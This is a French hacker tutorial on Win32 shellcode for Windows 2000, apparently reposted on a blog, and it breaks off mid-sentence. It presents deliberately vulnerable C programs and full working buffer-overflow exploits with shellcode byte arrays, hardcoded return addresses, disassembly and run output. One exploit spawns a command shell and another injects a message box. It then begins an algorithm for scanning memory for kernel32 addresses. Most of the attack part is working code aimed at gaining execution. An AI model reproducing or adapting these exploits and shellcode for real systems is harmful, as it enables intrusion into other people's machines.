/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/ /*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/ ============================ * REAL Win32 GENERIC SHELLCODE * ============================ The ultimate solution for hacking win2k with all service pack By ThreaT & Crazylord. /*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/ /*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/ Pré-introduction ^^^^^^^^^^^^^^^^ Cet article n'est nullemment un vulgaire papier proposant une compilation ou explication des techniques déjà existantes dans le domaine des shellcodes win32 génériques. L'objet de cet essai est de proposé une solution innovante, optimisée et élégante à l'élaboration de code injectable, et suppose une forte compétence technique en matière de programmation bas niveau. Pour que notre approche soit claire et bien comprise, nous nous attarderons à faire un récapitulatif de ce que sont les shellcodes win32, en expliquant leur utilité, les solutions apportées par la communauté mondiale, ainsi que les problèmes pouvant se poser lors de leur création. Ceci permettra dans un premier temps de rafraîchir les mémoires, puis dans un deuxième temps de crédibiliser notre demarche, et ainsi apporter la preuve comparative que notre technique constitue la meilleure solution dans la conception de shellcode générique sous win2k. Il ne nous reste plus qu'à vous laisser entre les mains de votre autodidactisme, tout en vous souhaitant une bonne lecture... - Table des matières ****************** ...I/ Introduction. ..II/ Les shellcodes win32 en général. ------> 2.a) About Win32 shellcodes. ------> 2.b) Les shellcodes spécifiques. ------> 2.c) Les shellcodes statiques. ------> 2.d) Les shellcodes génériques. .III/ Etude de quelques solutions apportées par la communauté " underground mondiale ". ------> 3.a) Etude du shellcode statique de |Zan. ( ~ 1170 bytes ) ------> 3.b) Etude du shellcode générique de RaiSe. ( 790 bytes ) ..IV/ Notre approche sur la question. ------> 4.a) L'abolition de l'adresse de base, grâce au Process Environment Block. ------> 4.b) Une reconstruction de LoadLibraryA / GetProcAdress. ------> 4.c) La mise en place d'une fonction ASM exportable et injectable. ...V/ Quelques shellcodes génériques, basés sur la fonction magique. ------> 5.a) Shellcode générique d'exécution de commande. (150 bytes) ------> 5.b) Shellcode générique download & execute from URL. (247 bytes) ..VI/ Conclusion. .VII/ Fin. /************************************************************************************* I. INTRODUCTION *************************************************************************************/ La compréhension des shellcodes est une étape importante dans le processus d'autoformation d'un hacker, car ceux-ci constituent l'élément essentiel de toutes les attaques evoluées (buffer overflow, reverse engeenering, Shatter Attacks, rootkit, format string, etc...). Malgrès certaines bonnes documentations traitant du sujet, comme par exemple 'Designing win32 shellcode' by sunnis, le monde win32 ne trouve refuge quand dans des commentaires d'explication, relatant les méthodes utilisées pour créer des shellcodes spécifiques, et s'extasie devant des projets génériques dont les shellcodes dépassent souvent les 800 octets !! Pour enfin avoir une documentation française traitant du sujet, et surtout introduire notre approche sur la conception de shellcode générique sous win2k, nous avons decidé de léguer cet article à tout les autistes/schizophrenes et autres personnes atteintes du syndrome d'asperger, cherchant sans cesse la perfection technique... let's go on! /************************************************************************************* II. LES SHELLCODES WIN32 EN GENERALES *************************************************************************************/ /// 2.A ABOUT WIN32 SHELLCODE /// - Qu'est ce que c'est qu'un shellcode ? ************************************* Un shellcode est un micro programme ( moin de 1Ko ) destiné à exécuter une tâche bien précise (exécution d'une commande, création d'un utilisateur, download d'un fichier, etc...) - A quoi servent les shellcodes ? ******************************* L'utilité première d'un shellcode est d'être INJECTE. C'est à dire que votre micro programme est placé dans l'espace d'exécution d'un processus dans le but d'y être executé avec les privilèges de ce dernier. La deuxieme utilité possible d'un shellcode est de remplacer ou rajouter une fonction dans un binaire ou une VM on the fly. - Quelles sont les propriétés generales des shellcodes ? ****************************************************** Pour les shellcodes injectables dans des buffers, il faut que le micro programme ne contienne aucun NULL BYTE (0x00), car cet octet delimite la fin d'une chaine de caractère. (et tronquerais donc le shellcode) la deuxième chose à prendre en compte est l'optimisation pour une taille minimale, ceci afin qu'il puisse être copié même dans un petit buffer. Enfin, la troisième propriété d'un shellcode est que celui ci ne doit contenir aucune adresse absolue, car l'adresse où le shellcode est injecté est généralement inconnue. - Quel est la différence entre un shellcode unix, et un shellcode win32 ? *********************************************************************** Les shellcodes sous win32 sont élaborés à partir des instructions placées dans des librairies (dll), ce qui implique leur chargement en mémoire avant toute conception (ce qui grossit fortement les shellcodes), alors que sous unix, les shellcodes utilise les syscalls (comparables aux interruptions sous DOS), ce qui leurs apporte un réel gain d'octets. /// 2.B LES SHELLCODES SPECIFIQUES /// Malgrès ce qui a été repondu à la question sur les propriétés générales des shellcodes, les shellcodes win32 spécifiques utilisent directement les adresses absolues des programmes qu'ils exploitent. L'avantage de cette technique est bien sûr une économie d'octet considérable, et surtout, la possibilité d'utiliser directement des fonctions 'evoluées' sans avoir à écrire un code long et fastidieux. Cependent, les shellcodes spécifiques ne sont valides que pour un programme précis, et ne peuvent en aucun cas être réutilisés à outrance. Leur utilité s'avère pour l'injection dans de petit buffer, ou dans le patching d'un binaire. voici un exemple concret pour étayer les esprits : ========================================== vuln0.c =========================================== #include <stdio.h> int main (int argc, char *argv[]) { char command[50]; if (!argv[1]) { printf("/nUsage : %s <commande>/n" "Une vulnerabilitée est présente si la commande dépasse 60 caractères/n",argv[0]); exit (0); } sprintf (command,"@%s/x00",argv[1]); if (!system (command)) printf ("/nLa commande a été exécutée/n"); else printf ("/nImpossible d'exécuter la commande/n"); return 0; } ============================================ EOF ============================================= E:/code/SP/vuln>cl /nologo vuln0.c vuln0.c E:/code/SP/vuln>vuln0 Usage : vuln0 <commande> Une vulnerabilitée est présente si la commande dépasse 60 caractères E:/code/SP/vuln>vuln0 coucou 'coucou' n'est pas reconnu en tant que commande interne ou externe, un programme exécutable ou un fichier de commandes. Impossible d'exécuter la commande E:/code/SP/vuln>vuln0 "echo ceci est une commande de test" ceci est une commande de test La commande a été exécutée E:/code/SP/vuln>vuln0 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB' n'est pas reconnu en tant que commande interne ou externe, un programme exécutable ou un fichier de commandes. Impossible d'exécuter la commande ========== BOOM =========== Module Load: E:/CODE/SP/VULN/vuln0.exe (no symbols loaded) Thread Create: Process=0, Thread=1 Second chance exception c0000005 (Access Violation) occurred Thread stopped. >rt EAX=00000000 EBX=7ffdf000 ECX=00408120 EDX=00000001 ESI=0012f88f EDI=00000000 EIP=42424242 ESP=0012ff88 EBP=41414141 EFL=00000246 CS=001b DS=0023 ES=0023 SS=0023 FS=0038 GS=0000 Dr0=e14a8cf8 Dr1=eadd9a01 Dr2=00000000 Dr3=e14e9c28 Dr6=e2963bc8 Dr7=00000001 > après un court travail d'investigation avec softice, on trouve une adresse suceptible d'accueillir notre shellcode :) >dd 132517 0x00132517 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA 0x00132527 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA 0x00132537 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA 0x00132547 41414141 42424141 00004242 00000000 AAAAAABBBB...... 0x00132557 0a005800 08010000 13282000 132b4000 .X....... (..@+. 0x00132567 26000000 00000c00 28d5ac00 00000000 ...&.......(.... 0x00132577 00000000 00000000 00000000 00000000 ................ 0x00132587 00000000 00000000 00000000 00000000 ................ > comme vous pouvez le voir, nous n'avons que 54 bytes de manoevre. le shellcode spécifique s'impose ! pour cela, nous devons analyser quelles sont les adresses utilisées par le programme vulnérable, afin de pouvoir repérer les fonctions qui nous intéressent. ce qui donne : --- disassemble of vuln0.c --- [...] :00401033 6890804000 push 00408090 :00401038 8D55CC lea edx, dword ptr [ebp-34] :0040103B 52 push edx :0040103C E8CB000000 call 0040110C <-- sprintf () :00401041 83C40C add esp, 0000000C :00401044 8D45CC lea eax, dword ptr [ebp-34] :00401047 50 push eax <-- (char*) command :00401048 E829000000 call 00401076 <-- system() :0040104D 83C404 add esp, 00000004 :00401050 85C0 test eax, eax :00401052 750F jne 00401063 :00401054 6898804000 push 00408098 :00401059 E802020000 call 00401260 :0040105E 83C404 add esp, 00000004 :00401061 EB0D jmp 00401070 [...] * Reference To: KERNEL32.ExitProcess, Ord:007Dh | :0040123E FF1560704000 Call dword ptr [00407060] <-- ExitProcess () ---------------- ok, nous connaissons les adresses d'appel de system() et de ExitProcess() utilisées par le programme vulnérable. Nous pouvons donc mettre en place un beau shellcode spécifique qui nous lancera un shell :) ========================================= vuln0sh.c ======================================== /* * Démonstration d'exploit utilisant un shellcode win32 spécifique */ #include <windows.h> void main () { /* __asm { mov ebp, esp xor edi, edi push edi mov word ptr [ebp-4], 'mc' mov byte ptr [ebp-2], 'd' // le classique, on met cmd sur le stack lea eax, [ebp-4] push eax // push 'cmd' en argument mov ebx, 0xFFFFFFFF // astuce anti null byte sub ebx, 0xFFBFEF89 // 0xFFFFFFFF - 0xFFBFEF89 = 00401076 'system()' call ebx add bx, 0x5FEA // encore une astuce : 0x401076 + 0x5FEA = 00407060 call dword ptr [ebx] // ExitProcess (0) } --- Disassembled data ---- :00401000 55 push ebp :00401001 8BEC mov ebp, esp :00401003 53 push ebx :00401004 56 push esi :00401005 57 push edi :00401006 8BEC mov ebp, esp :00401008 33FF xor edi, edi :0040100A 57 push edi :0040100B 66C745FC636D mov [ebp-04], 6D63 :00401011 C645FE64 mov [ebp-02], 64 :00401015 8D45FC lea eax, dword ptr [ebp-04] :00401018 50 push eax :00401019 BBFFFFFFFF mov ebx, FFFFFFFF :0040101E 81EB89EFBFFF sub ebx, FFBFEF89 :00401024 FFD3 call ebx :00401026 6681C3EA5F add bx, 5FEA :0040102B FF13 call dword ptr [ebx] * Exploit code */ int i, j; unsigned char buffer[59], Mallicious[100], shellcode[] = { "/x55/x8B/xEC/x53/x56/x57/x8B/xEC/x33/xFF/x57/x66/xC7/x45/xFC/x63" "/x6D/xC6/x45/xFE/x64/x8D/x45/xFC/x50/xBB/xFF/xFF/xFF/xFF/x81/xEB" "/x89/xEF/xBF/xFF/xFF/xD3/x66/x81/xC3/xEA/x5F/xFF/x13" "/x1F/x25/x13/x00" // ret addr (jouez avec le byte /x1F si sa ne marche pas) } ; for (i=0; i < 59 - (strlen (shellcode) + 1); buffer[i++] = 0x90); for (i,j=0; i < 59; buffer[i++] = shellcode[j++]); sprintf (Mallicious,"vuln0.exe %s",buffer); system (Mallicious); ExitProcess (0); } ========================================== EOF =============================================== on compile l'exploit - E:/code/SP/vuln>cl vuln0sh.c Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 12.00.8168 for 80x86 Copyright (C) Microsoft Corp 1984-1998. All rights reserved. vuln0sh.c Microsoft (R) Incremental Linker Version 6.00.8168 Copyright (C) Microsoft Corp 1992-1998. All rights reserved. /out:vuln0sh.exe vuln0sh.obj - on lance l'exploit - E:/code/SP/vuln>vuln0sh '??????????U<ìSVW<ì3ÿWfÇEücmÆEþd?EüP»ÿÿÿÿ?ë%ï¿ÿÿÓf?Ãê_ÿ??%?' n'est pas reconnu en tant que commande interne ou externe, un programme exécutable ou un fichier de commandes. Impossible d'exécuter la commande Microsoft Windows 2000 [Version 5.00.2195] (C) Copyright 1985-2000 Microsoft Corp. E:/code/SP/vuln> - boom, on a un shell :)) Comme vous pouvez le constater, nous avons reussi à exploiter un petit buffer grâce à la technique du shellcode spécifique. Le problème de cette attaque est que si nous avions voulu exécuter une autre tâche, comme par exemple écrire dans un fichier, cela nous aurais été impossible, car vuln0 n'utilise pas les fonctions dont nous aurions eu besoin. Tout ceci est donc pratique, mais limité. heureusement, il existe d'autres techniques :) /// 2.B LES SHELLCODES STATIQUES /// La compréhension des shellcodes statiques demande un petit peu de connaissances en matière de programmation win32. Sa particularité est que celui ci part du principe que toutes les fonctions dont il a besoin dans Kernel32.dll sont situés à une adresse inchangée (statique) Pour que le shellcode puisse utiliser toute la puissance du système, et ainsi réaliser n'importe quel tâche lors de l'exploitation d'un programme vulnérable, celui ci va surtout se baser sur deux API windows, qui sont les suivantes : --> LoadLibrary La fonction LoadLibrary () map le module exécutable specifié dans l'espace d'adressage du processus qui l'invoque Utilisation : HINSTANCE LoadLibrary( LPCTSTR lpLibFileName // Adresse ou fichier du module exécutable ); --> GetProcAddress La fonction GetProcAddress () retourne l'adresse de la fonction située dans la librairie de lien dynamique (DLL) spécifié Utilisation : FARPROC GetProcAddress( HMODULE hModule, // handle du module DLL LPCSTR lpProcName // nom de la fonction ); et c'est grâce à ces API que le shellcode peut aller chercher et charger toute fonction exportée dont il aurait besoin. un exemple pour le démontrer sera plus explicite ========================================= vuln1.c ============================================ #include <windows.h> void vuln_func (char *UserName) { char name[500]; lstrcpy (name,UserName); printf ("Bonjour %s !/n",name); } int main (int argc, char *argv[]) { DWORD flag; char EnvVar[1000]; flag = GetEnvironmentVariable("USERNAME",EnvVar,1000); vuln_func (EnvVar); printf ("/nfin du programme/n"); return 0; } ======================================== EOF ================================================ Ce programme vulnérable dit bonjour à l'utilisateur actuellement connecté. Pour pouvoir connaître le nom de cet utilisateur, celui ci ce réfère à la variable d'environnement USERNAME Donc, si vous avez observez un peu, vous voyez que la variable est stockée dans un buffer de 1000 octets, et ce buffer est envoyé en paramètre à la fonction vulnérable qui ne peut récupérer la valeur que dans un buffer de 500 octets ce qui veut dire que si la variable USERNAME fait une longueur de 510 ou 520 octets, strcpy va overwriter le stack et passer le flot d'exécution à l'adresse situé à dword ptr [ESP] :) on verifie de suite... E:/code/SP/vuln>cl vuln1.c Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 12.00.8168 for 80x86 Copyright (C) Microsoft Corp 1984-1998. All rights reserved. vuln1.c Microsoft (R) Incremental Linker Version 6.00.8168 Copyright (C) Microsoft Corp 1992-1998. All rights reserved. /out:vuln1.exe vuln1.obj - regardons la valeur de la variable USERNAME - E:/code/SP/vuln>set | find /i "username" USERNAME=Administrateur - on exécute le prog - E:/code/SP/vuln>vuln1 Bonjour Administrateur ! fin du programme E:/code/SP/vuln> - tout va bien on apporte maintenant une petite modification - E:/code/SP/vuln>SET USERNAME=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB - on relance le prog - E:/code/SP/vuln>vuln1 Bonjour AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB ! ========== BOOM =========== Module Load: E:/CODE/SP/VULN/vuln1.exe (no symbols loaded) Thread Create: Process=0, Thread=1 Second chance exception c0000005 (Access Violation) occurred Thread stopped. >rt EAX=00000207 EBX=7ffdf000 ECX=00406090 EDX=00000001 ESI=0012f88f EDI=78499da7 EIP=42424242 ESP=0012fb90 EBP=41414141 EFL=00000212 CS=001b DS=0023 ES=0023 SS=0023 FS=0038 GS=0000 Dr0=e14a8c98 Dr1=fb157a01 Dr2=00000000 Dr3=e14e9c28 Dr6=e2966ee8 Dr7=00000001 > - EIP=42424242, on tombe en plein dans le buffer overflow classique - >dd esp 0x0012FB90 0012fb00 000001fc 41414141 41414141 ........AAAAAAAA 0x0012FBA0 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA 0x0012FBB0 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA 0x0012FBC0 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA 0x0012FBD0 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA 0x0012FBE0 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA 0x0012FBF0 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA 0x0012FC00 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA [...] 0x0012FD60 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA 0x0012FD70 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA 0x0012FD80 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA 0x0012FD90 42424242 0012ff00 002f0000 002f5168 BBBB....../.hQ/. - la stack est completement exploséé avec notre variable USERNAME, impeccable donc, combien sa nous fait de bytes de manoeuvre tout ca ? (0x0012FD80+0x10) - (0x0012FB90+8) = 0x1F8 soit 504 bytes (c'était prévisible, mais bon) ok, voici notre approche d'attaque : Nous allons créer un shellcode qui va forcer le programme vulnérable à exécuter une boîte de dialogue. pour ce faire, nous devrons charger la lib user32.dll à l'aide de LoadLibraryA, puis retrouver l'adresse exportée de la fonction MessageBoxA() qui, (pour rappel), fonctionne de la manière suivante : int MessageBox( HWND hWnd, // handle of owner window LPCTSTR lpText, // address of text in message box LPCTSTR lpCaption, // address of title of message box UINT uType // style of message box ); commencons par connaitre les adresses de bases du kernel32 de notre système d'exploitation Disassembly of File: kernel32.dll Code Offset = 00000400, Code Size = 0005D000 Data Offset = 0005D400, Data Size = 00001A00 +++++++++++++++++++ EXPORTED FUNCTIONS ++++++++++++++++++ Number of Exported Functions = 0823 (decimal) Addr:77E79AC1 Ord: 340 (0154h) Name: GetProcAddress Addr:77E7A254 Ord: 480 (01E0h) Name: LoadLibraryA Addr:77E88F94 Ord: 141 (008Dh) Name: ExitProcess très bien, nous pouvons dorénavant commencer l'élaboration du shellcode, et même enchainer sur un expoit pour ce petit programme vulnérable ======================================= vuln1sh.c ========================================== #include <windows.h> void main () { /* * Shellcode statique de démonstration * * Ce shellcode affiche une boite de dialogue, et est spécifique à la * version 5.0.2195.2778 de Kernel32.dll (win2k SP2) * __asm { mov ebp, esp sub esp, 36 // alloue 36 bytes sur le stack mov dword ptr [ebp-36],'sseM' mov dword ptr [ebp-32],'Bega' mov eax, 0xFFFFFFFF sub eax, 0xFFBE8790 mov dword ptr [ebp-28], eax // place 'MessageBoxA' mov dword ptr [ebp-24], 'resu' xor eax, eax add ax, 0x3233 mov dword ptr [ebp-20], eax // place 'user32' mov dword ptr [ebp-17], 'lleH' xor eax, eax mov ax, '!o' mov dword ptr [ebp-13], eax // place 'Hello!' mov dword ptr [ebp-8], 'enwO' sub al, 11 mov dword ptr [ebp-4], eax // place 'Owned!' lea eax, [ebp-24] // récupère le pointeur sur user32.dll mov ebx, 0x77E7A254 // met dans EBX l'adresse de la fonction LoadLibraryA push eax call ebx // eax = LoadLibraryA ("user32") mov ebx, 0x77E79AC1 // Met dans EBX l'adresse de la fonction GetProcAddress lea ecx, [ebp-36] // Récupère le pointeur sur MessageBoxA push ecx push eax call ebx // GetProcAddresss ((HMODULE)eax,"MessageBoxA") xor ecx, ecx push 48 // icone Exlamation lea ebx, [ebp-17] // récupère le pointeur sur 'Hello!' push ebx lea ebx, [ebp-8] // récupère le pointeur sur 'Owned!' push ebx push ecx call eax // MessageBox (NULL,"Owned!","Hello!", 48) mov eax, 0x77E88F94 call eax // ExitProcess (0) } * * Disassembled DATA * :00401006 8BEC mov ebp, esp :00401008 83EC24 sub esp, 00000024 :0040100B C745DC4D657373 mov [ebp-24], 7373654D :00401012 C745E061676542 mov [ebp-20], 42656761 :00401019 B8FFFFFFFF mov eax, FFFFFFFF :0040101E 2D9087BEFF sub eax, FFBE8790 :00401023 8945E4 mov dword ptr [ebp-1C], eax :00401026 C745E875736572 mov [ebp-18], 72657375 :0040102D 33C0 xor eax, eax :0040102F 66053332 add ax, 3233 :00401033 8945EC mov dword ptr [ebp-14], eax :00401036 C745EF48656C6C mov [ebp-11], 6C6C6548 :0040103D 33C0 xor eax, eax :0040103F 66B86F21 mov ax, 216F :00401043 8945F3 mov dword ptr [ebp-0D], eax :00401046 C745F84F776E65 mov [ebp-08], 656E774F :0040104D 2C0B sub al, 0B :0040104F 8945FC mov dword ptr [ebp-04], eax :00401052 8D45E8 lea eax, dword ptr [ebp-18] :00401055 BB54A2E777 mov ebx, 77E7A254 :0040105A 50 push eax :0040105B FFD3 call ebx :0040105D BBC19AE777 mov ebx, 77E79AC1 :00401062 8D4DDC lea ecx, dword ptr [ebp-24] :00401065 51 push ecx :00401066 50 push eax :00401067 FFD3 call ebx :00401069 33C9 xor ecx, ecx :0040106B 6A30 push 00000030 :0040106D 8D5DEF lea ebx, dword ptr [ebp-11] :00401070 53 push ebx :00401071 8D5DF8 lea ebx, dword ptr [ebp-08] :00401074 53 push ebx :00401075 51 push ecx :00401076 FFD0 call eax :00401078 B8948FE877 mov eax, 77E88F94 :0040107D FFD0 call eax Exploit code start here */ int i,j; unsigned char buffer[507], shellcode[] = { // taille du shellcode = 121 bytes "/x8B/xEC/x83/xEC/x24/xC7/x45/xDC/x4D/x65/x73/x73/xC7/x45/xE0/x61" "/x67/x65/x42/xB8/xFF/xFF/xFF/xFF/x2D/x90/x87/xBE/xFF/x89/x45/xE4" "/xC7/x45/xE8/x75/x73/x65/x72/x33/xC0/x66/x05/x33/x32/x89/x45/xEC" "/xC7/x45/xEF/x48/x65/x6C/x6C/x33/xC0/x66/xB8/x6F/x21/x89/x45/xF3" "/xC7/x45/xF8/x4F/x77/x6E/x65/x2C/x0B/x89/x45/xFC/x8D/x45/xE8/xBB" "/x54/xA2/xE7/x77/x50/xFF/xD3/xBB/xC1/x9A/xE7/x77/x8D/x4D/xDC/x51" "/x50/xFF/xD3/x33/xC9/x6A/x30/x8D/x5D/xEF/x53/x8D/x5D/xF8/x53/x51" "/xFF/xD0/xB8/x94/x8F/xE8/x77/xFF/xD0" "/xA0/xFB/x12/x00" // adresse de retour } ; for (i=0; i < 507 - lstrlen (shellcode); buffer[i++] = 0x90); for (i,j=0; i < 507; buffer[i++] = shellcode[j++]); if (!SetEnvironmentVariable("USERNAME",buffer)) printf ("Impossible de créer la variable d'environement malicieuse/n"); else { printf ("Variable USERNAME millicieuse ok !/n" "Lancement du programme vulnérable.../n/n"); system ("vuln1"); } } ========================================= EOF ================================================ E:/code/SP/vuln>cl vuln1sh.c Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 12.00.8168 for 80x86 Copyright (C) Microsoft Corp 1984-1998. All rights reserved. vuln1sh.c Microsoft (R) Incremental Linker Version 6.00.8168 Copyright (C) Microsoft Corp 1992-1998. All rights reserved. /out:vuln1sh.exe vuln1sh.obj E:/code/SP/vuln>vuln1sh Variable USERNAME mallicieuse ok ! Lancement du programme vulnérable... Bonjour ÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉ ÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉ ÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉ ÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉ ÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉïýâý$ÃE_M essÃEÓageB© -Éç¥ ëEõÃEÞuser3+f?32ëEýÃE´Hell3+f©o!ëE¾ÃE°Owne,?ëE³ìEÞ+TóþwP Ë+- ÜþwìM_QP Ë3+j0ì]´Sì]°SQ ð©öÅÞw ðá¹? ! _______________ |Hello! [x]| |^^^^^^^^^^^^^^^| | /^/ | | / ! / Owned! | | ----- | | _________ | | | O K | | | ¨¨¨¨¨¨¨¨¨ | ^^^^^^^^^^^^^^^ donc voila comment grâce à la methode statique, nous avons reussi à créer un petit shellcode (121 bytes) et exécuter une fonction exportée du système (affichage de boîte de dialogue). Le problème majeur de cette technique est que le shellcode s'appuie sur des adresses STATIQUES de fonction relative à Kernel32.dll, et cela oblige l'attaquant à connaitre la version précise du système d'exploitation cible pour mener son action à bien. (OS / services pack) La solution qui vient à l'esprit serait d'arriver à créer une fonction permettant de retrouver au minimum les adresses de LoadLibraryA() et de GetProcAddress(), car même si une tel fonction grossirait fortement le shellcode, nous serions sur qu'une attaque 'aveugle' aboutirait. Regardons ce qui existe dans ce domaine... /// 2.B LES SHELLCODES GENERIQUES /// Comme vous avez dût le comprendre, le principe du shellcode générique et d'arriver à retrouver par lui même les adresses des fonctions exportées de kernel32.dll je vais donc vous expliquer la méthode la plus couramment utilisée pour arriver à cette fin. La première etape consiste à retrouver l'adresse de base de kernel32 en scannant la mémoire à la recherche d'un pattern, mais une telle opération soulève quelques questions, à savoir : -> quel pattern devons nous rechercher ? -> comment être sur que le pattern correspond à kernel32.dll ? -> quel plage de mémoire devons nous scanner ? -> comment éviter les erreurs d'exception générées par la lecture d'un emplacement vide ? Pour la première question, la réponse est simple, le pattern à rechercher est le header 'MZ' placé au début de tout exécutable. pour répondre aux deux autres, observons un petit historique des images de bases de notre dll à travers l'évolution du système microsoft ++++++++++++++++++++++++++++++++++ + Some ImageBase of kernel32.dll + ++++++++++++++++++++++++++++++++++ + 077E00000h - NT/W2k + + 077E80000h - NT/W2k + + 077E70000h - NT/W2k + + 077ED0000h - NT/W2k + + 077F00000h - NT/W2k + + 0BFF70000h - 95/98 + + 077E60000h - XP home + + 0BFF60000h - Me + ++++++++++++++++++++++++++++++++++ on remarque dans ce petit récapitulatif que les adresses sont des multiples de 10 pages mémoires (une page etant equivalente à 0x1000) nous pouvons donc dire d'après ce tableau que la plage à scanner ce trouve entre 0x77e00000 et 0xBFF00000 et que le scan sera défini à raison d'une vérification de pattern toute les 10 pages. pour connaitre si l'adresse contenant le pattern voulu est bien l'image de base de kernel32.dll, il nous suffira de la comparer avec toutes les adresses du tableau ci dessus. voici un algo pour clarifier mon explication --- Definition du Tableau ImageBase --- --------------------------------------- 0x77E00000 * EBP 0x77E80000 * EBP-4 0x77E70000 * EBP-8 0x77ED0000 * EBP-12 0x77F00000 * EBP-16 0xBFF70000 * EBP-20 0x77E60000 * EBP-24 0xBFF60000 * EBP-28 --------------------------------------- [adresse] -> initialisation a 0xBFF00000 boucle : _____________________________________________________________________________ || vérification au dword pointer par [adresse] si il y a le pattern 'MZ' || ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ | |--> si pattern introuvable --> [adresse] = [adresse] - 0x1000 | aller sur boucle | |--> si pattern trouver ------> comparer [adresse] avec toutes les adresses du tableau [ImageBase] |-> si [adresse] est dans [ImageBase] aller sur kernelFound |-> si [adresse] n'est pas dans [ImageBase] aller sur boucle kernelFound : -> afficher la valeur de l'adresse contenant le pattern - tout cela marche très bien en théorie, mais dans la pratique ? N'oubliez pas que nous sommes dans un environnement ou la Virtual Mem
REAL Win32 GENERIC SHELLCODE
最新推荐文章于 2024-05-11 15:28:41 发布
